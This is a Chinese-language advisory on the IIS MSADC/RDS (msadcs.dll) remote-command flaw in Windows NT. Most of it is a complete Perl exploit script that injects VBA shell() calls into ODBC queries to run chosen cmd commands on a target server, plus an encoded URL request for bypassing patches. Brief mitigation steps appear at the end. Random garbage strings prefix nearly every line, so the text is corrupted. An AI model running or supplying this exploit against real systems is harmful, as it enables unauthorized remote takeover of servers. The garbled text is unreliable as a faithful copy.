IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
z{
dEC % sHj/; 涉及程序：
rq{$,/6 . Microsoft NT server
}BEB1Q}L w;M#c
Y 描述：
8 1F9uM0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
vM={V$D& pa+hL,w{6 详细：
:OT& 如果你没有时间读详细内容的话，就删除:
M\j.8j G c:\Program Files\Common Files\System\Msadc\msadcs.dll
_ q"Gix 有关的安全问题就没有了。
0GwR~Z}Z 6tZI["\ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
awRX1:T#;O ~N4m1s" 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
_`X:jj> 关于利用ODBC远程漏洞的描述，请参看:
?ub3 5NLa P \I|, http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5P bW[ PCA4k.,T 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
HS$r8`S?) http://www.microsoft.com/security/bulletins/MS99-025faq.asp I%) :1\) :FF=a3/"6 这里不再论述。
?6!LL5a. P}iE+Z 3 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
8ag!K*\ V< T{ "(\X$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
lE;!TQj:X 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
bA 2pbjg= @ Qe0! (_= Z+SRXKQ #将下面这段保存为txt文件，然后: "perl -x 文件名"
\U0Q<ot/7 S:}7q2: #!perl
+T ?NH9 #
'u658Tj # MSADC/RDS 'usage' (aka exploit) script
f);FoVa6 #
\8tsDG(1 ' # by rain.forest.puppy
#yen8SskB #
) oZ dj` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
f$( e\+ + # beta test and find errors!
]:;&1h3'7 K3C <{ #r use Socket; use Getopt::Std;
<@}9Bid!o getopts("e:vd:h:XR", \%args);
al0L&z\ WIOV2 + print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ICCc./l| M5B# TAybC if (!defined $args{h} && !defined $args{R}) {
MD]>g > print qq~
[Q TV9 Usage: msadc.pl -h <host> { -d <delay> -X -v }
~[: 2I -h <host> = host you want to scan (ip or domain)
*Ex|9FCt$ -d <seconds> = delay between calls, default 1 second
1 YA% -~ -X = dump Index Server path table, if available
G byJ: -v = verbose
Ac6=(B -e = external dictionary file for step 5
%y@AA>x! y sN3 Or a -R will resume a command session
2 c}E(8e] 9uY'E'm* ~; exit;}
<3iMRe 13PS 2 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k9R9Nz |J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
a.'*G6~Qgw if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
^.tg 7%dJ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
:N@^?q{b $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
z#N@ 0R if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3T
9j@N77 - &f$GUTJ if (!defined $args{R}){ $ret = &has_msadc;
<i[HbgUlO. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
q4q6c")zp VQ I 3G print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ijcm2FJcG . "cmd /c ";
N [@?gFtT $in=<STDIN>; chomp $in;
$(
)>g>% $command="cmd /c " . $in ;
g`^ x@rj`E V :eD]zq5 if (defined $args{R}) {&load; exit;}
=43auFY-P @o^Ww print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
; jP Xs &try_btcustmr;
<VcQ{F l0]
EX>"E print "\nStep 2: Trying to make our own DSN...";
4 :=]<sc, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
DlT{` @;k Sx":b print "\nStep 3: Trying known DSNs...";
|}1d Fp &known_dsn;
hph4 `{T h![#;>( print "\nStep 4: Trying known .mdbs...";
8fb'yjIC &known_mdb;
>7r!~+B"9' ,[Fb[#Qqb if (defined $args{e}){
O f#: print "\nStep 5: Trying dictionary of DSN names...";
u>$t' &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
X 8|EHb< %S I'BJ print "Sorry Charley...maybe next time?\n";
`6YN3XS exit;
K^$=dLp ':W[ A ##############################################################################
HDKbF/ ] - .aL sub sendraw { # ripped and modded from whisker
b[ yiq$K/ sleep($delay); # it's a DoS on the server! At least on mine...
+#By* ;BJ my ($pstr)=@_;
8Y3I0S socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
]9X DS[<2` die("Socket problems\n");
SaCh
7 ^ if(connect(S,pack "SnA4x8",2,80,$target)){
:EH=_" select(S); $|=1;
/bEAK- print $pstr; my @in=<S>;
G: JR7 N$ select(STDOUT); close(S);
k8Xm n6X return @in;
C?Ucu]cW } else { die("Can't connect...\n"); }}
:LTN!jj __@BUK{ q ##############################################################################
YP9^Bp{0 9cg U T@a sub make_header { # make the HTTP request
zJXplvaL;
my $msadc=<<EOT
z =FZiH POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
l@\FWWQ User-Agent: ACTIVEDATA
Tr|JYLwF Host: $ip
*kVV+H<X|b Content-Length: $clen
i?gSC<a Connection: Keep-Alive
KgG4*< 8_tQa^.n\ ADCClientVersion:01.06
':}\4j&{E Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
.l|$dE/E RyN s6 --!ADM!ROX!YOUR!WORLD!
I |J/F}@p Content-Type: application/x-varg
Mlq.?-QgIL Content-Length: $reqlen
mt`.6Xz~ h$=2 p5'- EOT
w:l"\Tm ; $msadc=~s/\n/\r\n/g;
W`&hp6Jq return $msadc;}
W l1 6`9 o. \oA6P_ ##############################################################################
8D].MI^ bi:8(Q$w:` sub make_req { # make the RDS request
iOdpM{~* my ($switch, $p1, $p2)=@_;
fQ98(+ 6 my $req=""; my $t1, $t2, $query, $dsn;
+O5hH8<&b d"NLE'R if ($switch==1){ # this is the btcustmr.mdb query
�{x7, $query="Select * from Customers where City=" . make_shell();
L]Mo;kT<Q $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2[CdZ(k]5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
6 r_)sHf mqJ_W [y7 elsif ($switch==2){ # this is general make table query
!-Y3V" $query="create table AZZ (B int, C varchar(10))";
+*^H#|! $dsn="$p1";}
}-fl$j?9E b6 M elsif ($switch==3){ # this is general exploit table query
*' X3z@R $query="select * from AZZ where C=" . make_shell();
v
LZoa-w: $dsn="$p1";}
Kg$ Mx `W-Fssu elsif ($switch==4){ # attempt to hork file info from index server
4fzZ;2sl} $query="select path from scope()";
akT6^cP^ $dsn="Provider=MSIDXS;";}
c(%|: P^ oE~Bq/p elsif ($switch==5){ # bad query
.~}1+ \~5 $query="select";
'RRE|L, $dsn="$p1";}
}75e:w[ yEoV[K8k $t1= make_unicode($query);
JCaOK2XT; $t2= make_unicode($dsn);
0;ji65 $req = "\x02\x00\x03\x00";
C-[1iW' $req.= "\x08\x00" . pack ("S1", length($t1));
tl].r| yl $req.= "\x00\x00" . $t1 ;
3,=6@U $req.= "\x08\x00" . pack ("S1", length($t2));
?s _5&j7 $req.= "\x00\x00" . $t2 ;
ASfaX:ke $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
wf $s*|z return $req;}
Dxxm="FQZ : yjFQ9^?& ##############################################################################
$kKjgQ S( eY\y E"3 sub make_shell { # this makes the shell() statement
>*n0n! vF return "'|shell(\"$command\")|'";}
1QJL . B UR*n;V` ##############################################################################
Q IgNsz 9C \Fq- sub make_unicode { # quick little function to convert to unicode
iIogx8[ my ($in)=@_; my $out;
"vslZ`RU for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Q|L ~=9 return $out;}
%#}Z y
qv"$Bd:]r ##############################################################################
o lxByzTh> B]$GSEB sub rdo_success { # checks for RDO return success (this is kludge)
<|\Lm20 G] my (@in) = @_; my $base=content_start(@in);
+]50D xflA if($in[$base]=~/multipart\/mixed/){
IMfqiH) return 1 if( $in[$base+10]=~/^\x09\x00/ );}
)/EO&F return 0;}
'ah[(F<*@e x= jK:3BF ##############################################################################
""D 4s F/A|(AH' sub make_dsn { # this makes a DSN for us
d M-% { my @drives=("c","d","e","f");
9 E6R0D} print "\nMaking DSN: ";
4{l, foreach $drive (@drives) {
3 t6 LT print "$drive: ";
9I/N4sou my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
l \?c}7k "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
B+0hzkPY . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
]d%8k}U $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
+H
Usz ? return 0 if $2 eq "404"; # not found/doesn't exist
"}JZU!? if($2 eq "200") {
!L8#@BjU foreach $line (@results) {
$pudoAO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
+KEWP\r } return 0;}
)tpL#J i@ BtM9: ##############################################################################
QVE 6We nQ L@hc sub verify_exists {
S[T8T |_ my ($page)=@_;
XGMiW0j0B my @results=sendraw("GET $page HTTP/1.0\n\n");
IkXx# ) return $results[0];}
s!e3|pGS D1mfm.9_r^ ##############################################################################
2T TdH) GDy9qUV sub try_btcustmr {
gGS=cdlV my @drives=("c","d","e","f");
Rx|;=-8zg my @dirs=("winnt","winnt35","winnt351","win","windows");
i2^ >vYCsl Y]5 l.SV foreach $dir (@dirs) {
Zsh9>]M L print "$dir -> "; # fun status so you can see progress
{
buy"X4 foreach $drive (@drives) {
W 8!Qv8rf print "$drive: "; # ditto
S/I /-Bp~ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&l[$*<P5V $reqlenlen=length( "$reqlen" );
=6#Eh=7N $clen= 206 + $reqlenlen + $reqlen;
IyPnp&_ \_6/vZ%-B my @results=sendraw(make_header() . make_req(1,$drive,$dir));
-7 (@1@1 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
I,'k>@w{s else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
jMDY(mwt <1COZ) ##############################################################################
9RI-Lq ` HOh!Xcu sub odbc_error {
CWP2 { my (@in)=@_; my $base;
.k
\@zQ|Ta my $base = content_start(@in);
u=_mv N if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
t@Nyr& |D $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Dl8;$~ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M { Q;: $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qWKAM@ return $in[$base+4].$in[$base+5].$in[$base+6];}
]P2"[y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$"&{aa print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[=]4-q6UN $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
M[112%[+4 y Ej^=pw ##############################################################################
`I5wV/%ib E1U",CMU sub verbose {
Ezv
Y"T@ my ($in)=@_;
/_#q@r4ZQ return if !$verbose;
6qd\)q6T&x print STDOUT "\n$in\n";}
G<^{&E+= MO <3"@/, ##############################################################################
NS6:yX,/ nL.<[]r sub save {
om-omo&,X= my ($p1, $p2, $p3, $p4)=@_;
nmi|\mof open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^Zy% fv, print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
M|(Q0 _8
close OUT;}
fLm*1S|%\ r!a3\ep ##############################################################################
a,#j = JOim3(5?s sub load {
_8)*]- my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
\qK &q open(IN,"<rds.save") || die("Couldn't open rds.save\n");
\K]0J H @p=<IN>; close(IN);
;x 1 PS $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
([LSsZ]sj $target= inet_aton($ip) || die("inet_aton problems");
M b1s F print "Resuming to $ip ...";
cX OK)g# $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/mu*-,a eX if($p[1]==1) {
Hi`//y*92H $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
o W Nh@ C $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
T+k{W6 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
dIBE!4 V[ if (rdo_success(@results)){print "Success!\n";}
Ev(>z- {F else { print "failed\n"; verbose(odbc_error(@results));}}
Eq\M;aDq elsif ($p[1]==3){
]Y8<`;8/ if(run_query("$p[3]")){
/U)D5ot< print "Success!\n";} else { print "failed\n"; }}
|(LZ9I elsif ($p[1]==4){
qF-@V25P if(run_query($drvst . "$p[3]")){
8- % TC\: print "Success!\n"; } else { print "failed\n"; }}
{_Rr 6 exit;}
s^uS1 M |`U"v O ##############################################################################
`LE6jp3, //<nr\oP sub create_table {
j*jo@N | my ($in)=@_;
}\:Nu Tf $reqlen=length( make_req(2,$in,"") ) - 28;
G&V/Gj8 $reqlenlen=length( "$reqlen" );
)vb*Ef $clen= 206 + $reqlenlen + $reqlen;
> eIP., 9 my @results=sendraw(make_header() . make_req(2,$in,""));
zSja/yq return 1 if rdo_success(@results);
#c?j\Y9nz my $temp= odbc_error(@results); verbose($temp);
ApV~( k)W return 1 if $temp=~/Table 'AZZ' already exists/;
~C`^6UQr/? return 0;}
9g"2^^wD ssxzC4m ##############################################################################
wN-d'-z/rd scou% K sub known_dsn {
GV69eG3bX# # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;^%4 Q" my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
QKN+>X "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
474SMx$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
#(JNn'fzq cH?B[S;] foreach $dSn (@dsns) {
LS*y print ".";
g^{@'}$ next if (!is_access("DSN=$dSn"));
m(# LhlX if(create_table("DSN=$dSn")){
|O9 O )o print "$dSn successful\n";
}h!f eP if(run_query("DSN=$dSn")){
Midy" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T<p !5`B 1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
EYEnN h+&OQ%e=8 ##############################################################################
,\n& I( DBD%6o>]K sub is_access {
&NoS=(s, my ($in)=@_;
8UyMVY $reqlen=length( make_req(5,$in,"") ) - 28;
?!cvf{a $reqlenlen=length( "$reqlen" );
+M$Q
=6/ $clen= 206 + $reqlenlen + $reqlen;
71gT.E my @results=sendraw(make_header() . make_req(5,$in,""));
-pGE]nwDL my $temp= odbc_error(@results);
Y>G@0r BG verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,TN
2 return 0;}
kZZh"#W: L cm[&? ##############################################################################
z>Hgkp8D" $gy*D7 sub run_query {
Qqvihd my ($in)=@_;
W!&'pg $reqlen=length( make_req(3,$in,"") ) - 28;
^_u kLzP9 $reqlenlen=length( "$reqlen" );
48qV >Gwf $clen= 206 + $reqlenlen + $reqlen;
&c:Ad%
z my @results=sendraw(make_header() . make_req(3,$in,""));
M
.JoHH return 1 if rdo_success(@results);
sy"^?th}b my $temp= odbc_error(@results); verbose($temp);
xt%7@/hiE return 0;}
L3 --r _ Khc3Jo ##############################################################################
Z9 9>5\k D.Q=]jOs sub known_mdb {
()+ <)hg}2 my @drives=("c","d","e","f","g");
^,8)iV0j_ my @dirs=("winnt","winnt35","winnt351","win","windows");
J )~L my $dir, $drive, $mdb;
`-l6S my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TDNQu_E ie\"$i.98H # this is sparse, because I don't know of many
]0)|7TV* my @sysmdbs=( "\\catroot\\icatalog.mdb",
O 8u j`G 9 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
-}=%/|\FG "\\system32\\certmdb.mdb",
]<pjXVRt" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
m~u5kbHOi= O#k6' LN? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
S=nzw-(I "\\cfusion\\cfapps\\forums\\forums_.mdb",
MIoEauf "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
I`LuRl w
"\\cfusion\\cfapps\\security\\realm_.mdb",
$!(pF "\\cfusion\\cfapps\\security\\data\\realm.mdb",
$lIz{ySJv "\\cfusion\\database\\cfexamples.mdb",
lBTmx(_}}r "\\cfusion\\database\\cfsnippets.mdb",
JSW}*HR "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
X+} 1 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"4H
+!r} "\\cfusion\\brighttiger\\database\\cleam.mdb",
;YX4:OBqr "\\cfusion\\database\\smpolicy.mdb",
}'/`2!lY "\\cfusion\\database\cypress.mdb",
I'iGt~4$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
0_"fJ~Y^J "\\website\\cgi-win\\dbsample.mdb",
*c*0 PdV "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
/fT+^& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(+ 3Wgl+]/ ); #these are just
xAe~]k_D foreach $drive (@drives) {
SNE#0L ' } foreach $dir (@dirs){
)'%$V%9 foreach $mdb (@sysmdbs) {
[4C: r! print ".";
[uls8
"^/j if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
u1P aHgi$ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
&c%g if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
g(J&m< I print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
,@3$X=),E } else { print "Something's borked. Use verbose next time\n"; }}}}}
[tA;l+Q\& fCtPu 08{Z foreach $drive (@drives) {
<-S%kA8 foreach $mdb (@mdbs) {
tAte)/0 C print ".";
2 e9e s if(create_table($drv . $drive . $dir . $mdb)){
fKeT~z{ ~ print "\n" . $drive . $dir . $mdb . " successful\n";
e9[|!/./5 if(run_query($drv . $drive . $dir . $mdb)){
5qoSEI-m print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
AN SFdc } else { print "Something's borked. Use verbose next time\n"; }}}}
KiO cu=F }
:WL'cJ9a #x3ujJ ##############################################################################
FE! lok sHl>$Q evz sub hork_idx {
3?Pn6J{O print "\nAttempting to dump Index Server tables...\n";
'07 P&g- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
1u(.T0j7f $reqlen=length( make_req(4,"","") ) - 28;
a5!Fv54 $reqlenlen=length( "$reqlen" );
XW s"jt $clen= 206 + $reqlenlen + $reqlen;
:2-pjkhiwY my @results=sendraw2(make_header() . make_req(4,"",""));
E7)= `kSl if (rdo_success(@results)){
_Bp1co85MQ my $max=@results; my $c; my %d;
_b.qkTWUB for($c=19; $c<$max; $c++){
Adgc%
.# $results[$c]=~s/\x00//g;
HcV"X,7S $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
s nnbb0J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
] Ww?QhJ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
uDSxTz { $d{"$1$2"}="";}
wqW 0v\ foreach $c (keys %d){ print "$c\n"; }
*b}lF4O? } else {print "Index server doesn't seem to be installed.\n"; }}
L^4-5 `gj $ N=N(^ ##############################################################################
;cz|ss= Ox'/` Mppw sub dsn_dict {
>P $;79< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-O!Zxg5x while(<IN>){
y>|{YWbp? $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
\qR %%S next if (!is_access("DSN=$dSn"));
ADk8{L{UU if(create_table("DSN=$dSn")){
H0R&2#YD print "$dSn successful\n";
D<X.\})Md if(run_query("DSN=$dSn")){
D"ehWLj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Xy &uZ print "Something's borked. Use verbose next time\n";}}}
V-r3-b print "\n"; close(IN);}
e^Ky<*Y z)=+ F] ##############################################################################
XNb ZNaAd F. =Bnw/- sub sendraw2 { # ripped and modded from whisker
RxN,^!OV sleep($delay); # it's a DoS on the server! At least on mine...
h=_0+\% my ($pstr)=@_;
v\"S
Gc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
CZt \JW+" die("Socket problems\n");
;6{@^ if(connect(S,pack "SnA4x8",2,80,$target)){
N**g]T
0` print "Connected. Getting data";
ee#):
-p open(OUT,">raw.out"); my @in;
fb:j%1WF select(S); $|=1; print $pstr;
&gE 75B while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
mA@Me7m} close(OUT); select(STDOUT); close(S); return @in;
5W@jfh) } else { die("Can't connect...\n"); }}
aCxE5$~$ LtKI3ou ##############################################################################
d k<XzO~g pdEiqLhH sub content_start { # this will take in the server headers
_ _>.,gL7 my (@in)=@_; my $c;
:4T("a5aM for ($c=1;$c<500;$c++) {
5 `RiS]IO] if($in[$c] =~/^\x0d\x0a/){
V$rlA' +1v if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
JQ-gn^tsy else { return $c+1; }}}
w7n373y% return -1;} # it should never get here actually
y tf b$;| \yGsr Bl ##############################################################################
RTu4 @7XP Wt9Q;hK sub funky {
Q 9&kJ%Mo my (@in)=@_; my $error=odbc_error(@in);
3QOU U,Dt$ if($error=~/ADO could not find the specified provider/){
A?T<", bO print "\nServer returned an ADO miscofiguration message\nAborting.\n";
FsG l J exit;}
9A7@
5F if($error=~/A Handler is required/){
"h7tnMS print "\nServer has custom handler filters (they most likely are patched)\n";
[
dE.[ exit;}
@ Ehn(} if($error=~/specified Handler has denied Access/){
a`u
S[r> print "\nServer has custom handler filters (they most likely are patched)\n";
|fY/i]
Ax exit;}}
KB!|B.ChN( ;eZ#b jw-d ##############################################################################
$e BX `K
>?ju" sub has_msadc {
UYtuED my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'XUKN/. my $base=content_start(@results);
7RvUH-S[ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
& X]\)`j0 return 0;}
2. X" f UP{j5gR:_ ########################
Y}D onF =0'q!}._! ] k8/#@19 解决方案：
i rZFV
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Kw`VrcwjT 2、移除web 目录: /msadc
